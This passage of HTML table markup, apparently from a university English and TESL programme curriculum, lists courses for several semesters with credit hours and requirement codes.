0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Math\r\n  and Natural-3 (life science)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  206</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>ESL\r\n  pre – adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Social-2\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>PSYC\r\n  304</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Basics\r\n  of Educational Psychology</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENG</strong><strong>L\r\n  326</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>British\r\n  Studies <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n  <strong>V\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n  <strong>VI\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 301</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>ESL adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>ENGL 335 </strong></p>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>ENGL 419</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>Academic Writing (6 hours) </strong></p>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\">Creative\r\n  Writing <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  316</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Advanced\r\n  English Vocabulary (<strong>4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  322</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Lexicology\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  202</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>English\r\n  Grammar advanced<strong>( 4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>TESL 303</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Introduction to TESL </strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>LING\r\n  215</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Introduction\r\n  to Linguistics </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  415</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>British\r\n  Literature 1</p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>English\r\n  Composition ( 6 hours)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  336</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Stylistics\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 